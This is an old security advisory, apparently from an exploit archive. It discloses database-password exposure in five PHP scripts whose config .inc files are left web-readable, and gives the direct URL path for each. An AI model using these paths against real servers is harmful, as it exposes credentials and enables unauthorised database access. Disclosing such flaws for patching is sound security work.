|
#=0D
# Title: 5 php scripts remote database password disclosure=0D
# Date: Sun July 02 21:04 2006=0D
# Credits: Security hole discovered by DarkFig (gmdarkfig@gmail.com)=0D
# Problem: Database configuration is located in a .inc file(no protected by .htaccess file)=0D
# Web: http://acid-root.new.fr=0D
#=0D
=0D
=0D
# VulnScr: Mp3netbox Beta 1=0D
# Author: flymoon@users.sourceforge.net=0D
# Download: http://sourceforge.net/projects/mp3netbox=0D
# Exploit: http://[...]/config.inc=0D
=0D
=0D
# VulnScr: efone <= 20000723=0D
# Author: brush@users.sourceforge.net=0D
# Download: http://sourceforge.net/projects/efone=0D
# Exploit: http://[...]/config.inc=0D
=0D
=0D
# VulnScr: Kamikaze-QSCM <= v0.1=0D
# Author: ???@????.???=0D
# Download: http://kamikaze-qscm.tigris.org/=0D
# Exploit: http://[...]/config.inc=0D
=0D
=0D
# VulnScr: Blueboy <= 1.0.3=0D
# Author: mano@users.sourceforge.net=0D
# Download: http://sourceforge.net/projects/bb-news=0D
# Exploit: http://[...]/bb_news_config.inc=0D
=0D
=0D
# VulnScr: Foros V.1.0=0D
# Author: eupla@users.sourceforge.net=0D
# Download: http://sourceforge.net/project/showfiles.php?group_id=14333&package_id=51342=0D
# Exploit: http://[...]/inc/config.inc=0D
=0D
=0D
#EOF